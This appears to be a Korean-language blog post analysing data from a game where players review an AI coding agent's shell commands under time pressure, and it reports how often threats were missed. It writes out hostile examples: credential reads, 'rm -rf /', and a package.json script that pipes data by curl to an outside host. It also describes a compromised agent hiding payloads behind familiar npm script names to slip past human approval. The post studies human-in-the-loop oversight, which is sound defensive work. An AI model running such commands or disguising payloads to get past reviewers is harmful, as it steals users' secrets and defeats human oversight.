AI 에이전트 명령어 검토 실험: 인간의 3분의 1이 위협을 놓쳐
AI 코딩 에이전트가 실행을 요청하는 명령어를 인간이 검토하는 '휴먼 인 더 루프(Human-in-the-loop)' 환경의 취약성을 4만 건의 게임 데이터로 분석한 결과입니다. 시간 압박 속에서 검토를 진행한 평균 사용자의 3분의 1 가까이가 데이터 탈취 등 심각한 보안 위협 명령어를 승인하는 것으로 나타났습니다. 특히 친숙한 명령어 뒤에 숨겨진 악성 스크립트를 검토할 때 검출률이 급격히 떨어지며, 시스템 보안의 마지막 방어선인 인간의 검토 과정이 생각보다 취약하다는 것을 시사합니다.
목차
몇 달 전, 저는 간단한 브라우저 게임을 출시했습니다. 이 게임에서 플레이어는 AI 코딩 에이전트(AI coding agent)의 '휴먼 인 더 루프(인간 감시자)' 역할을 맡아, 시간 압박 속에서 에이전트가 요청하는 명령어를 승인하거나 거절하게 됩니다. 일부 명령어는 일상적인 작업(git status, npm test)이지만, 다른 명령어들은 에이전트가 악성코드에 감염되어 사용자의 기밀 정보를 원격 서버로 전송하고 있음을 의미합니다(cat ~/.aws/credentials). 에이전트가 실행하는 명령어와 관련된 위협 및 이를 완화하는 방법에 대한 자세한 내용은 이전 포스팅에서 확인할 수 있습니다.
이 게임은 해커 뉴스(Hacker News)에서 어느 정도 관심을 끌었고, 이후 통계 기능을 추가하여 40,000번이 넘는 게임 플레이와 409,000건 이상의 개별 승인/거절 결정 데이터를 자세히 분석할 수 있게 되었습니다. 이제 악성 에이전트에 대한 우리의 마지막 방어선인 '휴먼 인 더 루프'가 얼마나 제 역할을 했는지 살펴보겠습니다.
주요 수치
- 평균적으로 플레이어는 3번 중 1번꼴로 위협을 놓쳤습니다. (평균 정확도 66.3%)
- 32.9%의 세션에서 마이너스 점수로 끝났습니다. 즉, 위협 명령어를 승인하거나 안전한 명령어를 차단하여 받은 페널티가 제대로 처리한 모든 점수보다 컸습니다.
- 35.2%의 플레이어가 모든 위협을 적발했지만, 그중 안전한 명령어를 5개당 최대 1개까지만 차단하며 이를 달성한 사람은 20.8%에 불과했습니다. 나머지는 모든 것을 무조건 차단('휴먼 병목 현상' 칭호 획득)하여 이를 달성했습니다.
- 7%의 플레이어는 모든 프롬프트를 승인했습니다. 이들은 '--dangerously-skip-permissions(위험한 권한 건너뛰기)' 옵션의 열렬한 팬들입니다.
참고로 이 게임에서 플레이어가 보는 명령어의 약 34%는 위협이었습니다. 실제 업무 환경에서는 이러한 위협이 아주 드물게 나타납니다. 또한 플레이어들은 제한 시간 내에 테스트를 받고 있다는 사실을 인지하고 있었습니다. 하지만 아래의 수치는 여러 위협들을 서로 비교하고 이에 대한 전반적인 인식 수준을 파악하는 데 유용한 통찰을 제공할 수 있습니다.
위협 카테고리 및 탐지 실패율
- 명백한 파괴 명령어 (예: rm -rf /, chmod -R 777 /): 탐지 실패율 11.7%
- 지속적인 변조 (예: 크론탭(crontab) 인젝션, 깃(git) 설정 탈취): 탐지 실패율 23.8%
- 데이터 유출 / 코드 실행 (예: 알 수 없는 API로 curl 요청, 오타를 악용한 패키지): 탐지 실패율 33.4%
- 권한 범위 위반 (예: cat ~/.aws/credentials, cat ~/.kube/config): 탐지 실패율 35.0%
노골적으로 시스템을 파괴하는 명령어는 가장 확실하게 적발됩니다. 반면, 실제로 자격 증명(크레덴셜)을 탈취하는 명령어는 3배 더 자주 탐지되지 않고 지나갑니다.
npm run에 대한 사각지대
게임에서 단연 가장 많이 승인되어 위협을 놓친 명령어는 'npm run analyze'로, 64.7%의 확률로 승인되었습니다. 이 명령어 자체는 대개 무해해 보입니다. 하지만 'npm run'이 실제로 하는 일은 프로젝트의 package.json에 정의된 스크립트를 실행하는 것입니다. 이는 번들 분석기를 실행하는 무해한 코드일 수도 있지만, 이전에 파일에 기록해둔 악성코드일 수도 있습니다.
이 게임은 에이전트의 기록 로그를 통해 해당 스크립트가 실제로 무엇을 포함하고 있는지 알려줍니다: 1 ✻ 번들 분석기를 실행하겠습니다. 프로젝트 스크립트에 이미 설정되어 있습니다. 2 // package.json → scripts 3 "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | 4 curl -s -X POST https://api.bundle.track/report -d @-"
그럼에도 불구하고 3분의 2의 플레이어가 이를 승인했습니다. 이는 권한 승인 프롬프트 바로 위에 있는 기록 로그를 자세히 읽지 않았음을 시사합니다.
이와 같은 유형의 명령어가 게임에 3개 있으며, 모두 가장 많이 놓친 위협 목록에 올라 있습니다:
- npm run analyze (탐지 실패율 64.7%, 37개 위협 중 1위)
- npm run setup (탐지 실패율 48.0%, 4위)
- npm run deploy (탐지 실패율 44.9%, 8위)
이 세 가지를 합산하면 탐지 실패율은 52.5%(데이터 수: 9,482건)로, 다른 데이터 유출 공격의 실패율(28.4%)에 비해 매우 높았습니다. 익숙한 스크립트 이름 뒤에 악성 페이로드를 숨기면, 기록 로그에 페이로드가 명시되어 있더라도 공격 성공률이 대략 두 배로 높아집니다.
이는 더 큰 문제를 보여주는 증상에 불과합니다. 해커 뉴스 스레드에서 dns_snek가 아주 잘 지적했듯이 말이죠:
위험한 행동이 무해한 것으로 인식되는 것이 얼마나 위험한지 보여주는 훌륭한 예시입니다. 특정 명령어를 승인하는 전체 시스템 모델 자체가 완전히 말도 안 됩니다. npm run build = package.json에 작성된 임의의 셸 명령어(shell command)를 실행하는 것과 같습니다. 그러는 동안 에이전트는 승인 없이 다음과 같은 행동을 할 수도 있었습니다.
- package.json을 수정하여 임의의 빌드 명령어를 삽입
- build.js(npm run build로 호출됨)에 악성코드 심기
- node_modules/xyz/index.js에 악성코드 심기